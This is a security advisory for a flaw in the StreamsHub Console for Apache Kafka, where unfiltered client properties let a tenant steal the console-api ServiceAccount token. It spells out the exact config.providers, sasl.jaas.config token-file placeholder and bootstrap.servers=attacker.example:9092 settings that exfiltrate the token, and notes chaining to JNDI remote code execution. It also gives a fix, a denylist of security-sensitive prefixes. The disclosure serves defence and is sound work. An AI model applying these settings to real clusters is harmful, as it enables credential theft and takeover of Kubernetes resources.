CVE-2026-96740: Streamshub/console: console-operator: streams for apache kafka console: unfiltered kafka client properties → sa-token exfiltration via config.providers
A flaw was found in the StreamsHub Console for Apache Kafka. Tenant-supplied Kafka client properties from the Console custom resource are copied into the console-api AdminClient configuration without filtering security-sensitive keys, allowing a Console CR author to set config.providers and bootstrap.servers to exfiltrate the console-api ServiceAccount token to an attacker-controlled broker.
Other sources
Unfiltered Kafka client properties → SA-token exfiltration via config.providers
Location: operator/src/main/java/com/github/streamshub/console/dependents/support/ConfigSupport.java:63 → api/src/main/java/com/github/streamshub/console/api/ClientFactory.java:571
Attacker: C — any K8s tenant with Console-CR create in one namespace
What it is. spec.kafkaClusters[].properties.values[] (and adminProperties/consumerProperties/producerProperties) is a free-form key/value list. ConfigSupport.setConfigVars does target.put(name, value) with no key filter; downstream ClientFactory.buildConfig copies clientProperties and config.getProperties() verbatim into the AdminClient config map. Nothing on either side blocks sasl., ssl., security., bootstrap.servers, or config.providers.
Why it's a security flaw. kafka-clients 4.3.1 blocks the JNDI/LDAP JAAS modules, but it does not block config.providers. Setting config.providers=directory, config.providers.directory.class=org.apache.kafka.common.config.provider.DirectoryConfigProvider, sasl.jaas.config=... username="${directory:/var/run/secrets/kubernetes.io/serviceaccount:token}" ... and bootstrap.servers=attacker.example:9092 makes the console-api pod resolve the placeholder to its own SA token and send it in the SASL handshake to an attacker-controlled broker — no JAAS bypass required. That token carries the same ClusterRole as f001. The primitive also chains with f006 (JAVATOOLOPTIONS clears disallowed.login.modules) to reach JNDI RCE. It is subsumed by f001 for attacker C but is an independent code path that survives an image allowlist.
Remediation. patches/f003.patch adds a FORBIDDENPREFIXES = {"sasl.", "ssl.", "security.", "bootstrap.servers", "config.providers"} denylist (mirroring Strimzi's KafkaConnectSpec forbidden-config pattern) and enforces it in both ConfigSupport.setConfigVars/copyData and in ClientFactory.buildConfig for defence in depth on non-operator deployments.
— Red Hat
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Patch f003.patch
Event History
Frequently Asked Questions
Who can exploit this issue?
An attacker needs permission to create a Console custom resource in a Kubernetes namespace. The described attacker is any Kubernetes tenant with Console-CR create access in one namespace.
Which configuration inputs are relevant to exploitation?
The free-form Kafka client-property inputs include spec.kafkaClusters[].properties.values[] and the adminProperties, consumerProperties, and producerProperties fields. The processing path does not filter security-sensitive keys such as config.providers, bootstrap.servers, sasl.*, ssl.*, or security.*.
What can be done if an update is not immediately available?
Restrict Console custom resource creation to trusted users and tenants, since Console-CR create permission is the stated attacker prerequisite. Review existing Console custom resources for attacker-controlled config.providers and bootstrap.servers values.